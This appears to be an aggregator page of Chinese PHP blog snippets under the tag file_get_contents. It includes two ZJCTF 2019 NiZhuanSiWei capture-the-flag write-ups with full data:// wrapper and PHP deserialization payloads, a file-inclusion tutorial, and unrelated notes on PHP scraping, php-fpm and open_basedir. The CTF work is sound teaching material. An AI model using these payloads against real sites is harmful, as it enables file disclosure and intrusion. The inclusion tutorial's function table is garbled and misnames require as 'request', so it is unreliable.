file_get_contents

[ZJCTF 2019]NiZhuanSiWei

随声附和 提交于 2020-04-07 02:21:24
[ZJCTF 2019]NiZhuanSiWei 考察: php协议 data://,php:// 反序列化 完整payload:text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 首页: <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if( isset($text) && (file_get_contents($text,'r') === "welcome to the zjctf" )){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?> file_get

文件包含漏洞与伪协议利用

血红的双手。 提交于 2020-03-10 05:25:33
0x00 基础 包含函数: 函数 概况 include ( f i l e p a t h filepath f i l e p a t h & < u r l url u r l &伪协议>) 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行 include_once ( f i l e p a t h filepath f i l e p a t h & < u r l url u r l &伪协议>) 只包含一次,其它同上 request ( f i l e p a t h filepath f i l e p a t h & < u r l url u r l &伪协议>) 在包含的过程中如果出现错误,会直接报错并退出程序的执行 request_once ( f i l e p a t h filepath f i l e p a t h & < u r l url u r l &伪协议>) 只包含一次,其它同上 file ( f i l e p a t h filepath f i l e p a t h & < u r l url u r l &伪协议>) 把整个文件读入一个数组 fopen ( f i l e p a t h filepath f i l e p a t h & < u r l url u r l &伪协议>,$ m o d e mode

PHP生成小程序二维码合成图片生成文字

≡放荡痞女 提交于 2020-03-07 06:41:01
这部分代码是写在项目上的代码,THINKPHP3.1如果迁移到其他的地方应该要稍稍改动一下以适合自己的项目 function get_bbox($text,$fsize,$ffile){ return imagettfbbox($fsize, 0, $ffile, $text); } function text_height ($text ,$fsize,$ffile) { $box = $this->get_bbox($text,$fsize,$ffile); $height = $box[3] - $box[5]; return $height; } //上传到aliyun function uploadtooss($bucket, $localfilepath, $objname) { $uploadoss = new Aliyunoss($bucket); return $uploadoss->upload_by_file($objname, $localfilepath); } function getalluser(){ $data=M('kuaidati_user')->order('id desc')->select(); dump($data); } function ifexsitobj($bucket, $objname) { $uploadoss = new

[原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

空扰寡人 提交于 2020-03-03 06:28:45
简介 原题复现: https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/ 考察知识点: 反序列化、PHP伪协议、数组绕过 线上平台: https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过程 打开页面看到源码先审计 大致分析flag在flag.php里面 先想办法绕过这些限制到达 文件包含那一块 绕过file_get_contents() 将welcome to the zjctf base64编码 使用PHP伪协议data读取数据流 可以成功绕过file_get_contents http://e188408b-f98c-4a28-bd9d-537acd229427.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 绕过正则表达式 使用数组即可成功绕过(一开始我的想法是直接包含flag.php 然后通过echo输出$flag这个变量 这个想法不对) http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64

php-fpm.conf重要参数详解

亡梦爱人 提交于 2020-03-02 03:50:51
pid = run/php-fpm.pid #pid设置,默认在安装目录中的var/run/php-fpm.pid,建议开启 error_log = log/php-fpm.log #错误日志,默认在安装目录中的var/log/php-fpm.log log_level = notice #错误级别. 可用级别为: alert(必须立即处理), error(错误情况), warning(警告情况), notice(一般重要信息), debug(调试信息). 默认: notice. emergency_restart_threshold = 60 emergency_restart_interval = 60s #表示在emergency_restart_interval所设值内出现SIGSEGV或者SIGBUS错误的php-cgi进程数如果超过 emergency_restart_threshold个,php-fpm就会优雅重启。这两个选项一般保持默认值。 process_control_timeout = 0 #设置子进程接受主进程复用信号的超时时间. 可用单位: s(秒), m(分), h(小时), 或者 d(天) 默认单位: s(秒). 默认值: 0. daemonize = yes #后台执行fpm,默认值为yes,如果为了调试可以改为no。在FPM中

PHP采集程序大全

人走茶凉 提交于 2020-02-22 16:23:55
在论坛好久了没有怎么正式的发表过东西,今天给大家共享一下我的采集代码! 思路:   采集程序的思路很简单大体可以分为以下几个步骤:  1.获取远程文件源代码(file_get_contents或用fopen). 2.分析代码得到自己想要的内容(这里用正规匹配,一般是得到分页)。   3.跟根得到的内容进行下载入库等操作。 在这里第二步有可能要重复的操作好几次,比如说要先分析一下分页地址,在分析一下内页的内容才能取得我们想要的东西。 代码: 记的以前发部过部分的代码今天我在这里在简单的发部一下 复制php内容到剪贴板 PHP代码: @$nl=file_get_contents($rs['url']);//抓取远程内容 PReg_match_all("/var url = \"gameswf\/(.*?)\.swf\";/is",$nl,$connect);//进行正规匹配取得自己要的内容 MySQL_query("insert ......插入数据库部分"); 上面的代码就是所有采集要用到的代码了,当然大家也可以用fope来作,我个人喜欢用file_get_contents。 下面在共享一下我的下载图片Flash到本地的办法,太简单了两行代码 复制PHP内容到剪贴板 PHP代码: if(@copy($url,$newurl)){ echo 'ok'; }

php中使用Curl、socket、file_get_contents三种方法POST提交数据

半城伤御伤魂 提交于 2020-02-12 04:47:20
抓取远程内容,之前一直都在用file_get_content函数,其实早就知道有curl这么一个好东西的存在,但是看了一眼后感觉使用颇有些复杂,没有file_get_content那么简单,再就是需求也不大,所以没有学习使用curl。 直到最近,要做一个网页小偷程序的时候才发现file_get_content已经完全不能满足需求了。我觉得,在读取远程内容的时候,file_get_content除了使用比curl便捷以外,其他都没有curl好。 php中curl和file_get_content的一些比较 主要区别: 学习才发现,curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP,也就是说,它能做到很多file_get_content做不到的事情。curl在php可以实现远程获取和采集内容;实现PHP网页版的FTP上传下载;实现模拟登陆;实现接口对接(API),数据传输;实现模拟Cookie;下载文件断点续传等等,功能十分强大。 了解curl一些基本的使用后,才发现其实并不难,只不过记住里面一些设置参数,难弄一点,但是我们记住几个常用的就可以了。 开启curl: 因为PHP默认是不支持curl功能的,因此如果要用curl的话,首先需要在php.ini中开启该功能,即去掉 ;extension=

stream_context_create解决file_get_contents超时处理

那年仲夏 提交于 2020-02-12 04:37:10
stream_context_create作用: 创建并返回一个文本数据流并应用各种选项,可用于fopen(),file_get_contents()等过程的超时设置、代理服务器、请求方式、头信息设置的特殊过程。 函数原型:resource stream_context_create ([ array $options [, array $params ]] ) 在使用file_get_contents函数的时候,经常会出现超时的情况,在这里要通过查看一下错误提示,看看是哪种错误,比较常见的是读取超时,这种情况大家可以通过一些方法来尽量的避免或者解决。这里就简单介绍两种: 一、增加超时的时间限制 这里需要注意:set_time_limit 只是设 置你的PHP程序的超时时间,而不是file_get_contents函数读取URL的超时时间。一开始以为set_time_limit也能影响到file_get_contents,后来经测试,是无效的。真正的修改file_get_contents延时可以用resource $context的timeo ut参数: $opts = array( 'http'=>array( 'method'=>"GET", 'timeout'=>60, ) ); //创建数据流上下文 $context = stream_context_create (

PHP获取POST数据的三种方式

房东的猫 提交于 2020-01-31 05:23:41
一、PHP获取POST数据的几种方法 方法1、最常见的方法是:$_POST['fieldname']; 说明:只能接收Content-Type: application/x-www-form-urlencoded提交的数据 解释:也就是表单POST过来的数据 方法2、file_get_contents("php://input"); 说明: 允许读取 POST 的原始数据。 和 $HTTP_RAW_POST_DATA 比起来,它给内存带来的压力较小,并且不需要任何特殊的 php.ini 设置。 php://input 不能用于 enctype="multipart/form-data"。 解释: 对于未指定 Content-Type 的POST数据,则可以使用file_get_contents(“php://input”);来获取原始数据。 事实上,用PHP接收POST的任何数据都可以使用本方法。而不用考虑Content-Type,包括二进制文件流也可以。 所以用方法二是最保险的方法 方法3、$GLOBALS['HTTP_RAW_POST_DATA']; 说明: 总是产生 $HTTP_RAW_POST_DATA 变量包含有原始的 POST 数据。 此变量仅在碰到未识别 MIME 类型的数据时产生。 $HTTP_RAW_POST_DATA 对于 enctype="multipart

open_basedir限制目录

末鹿安然 提交于 2020-01-27 09:23:22
1.open_basedir介绍 前言:前些日我用lnmp一键安装包出现了open_basedir的问题,因为我把项目目录变了,所以要在的 fastcgi.conf 下面加上open_basedir的目录 open_basedir 将 PHP 所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如 fopen() 或 file_get_contents() 打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。 本指令不受安全模式打开或关闭的影响。 2.open_basedir设置方法 1.在 php .ini 加入 open_basedir="指定目录" 1 1 2.在程序中使用 ini_set('open_basedir', '指定目录'); 1 1 但不建议使用这种方法 3.在apache的httpd.conf中的Directory配置 php_admin_value open_basedir "指定目录" 1 1 httpd.conf中的VritualHost php_admin_value open_basedir "指定目录" 1 1 4.nginx fastcgi.conf fastcgi_param PHP_VALUE "open_basedir=指定目录" 1 1 用open_basedir指定的限制实际上是前缀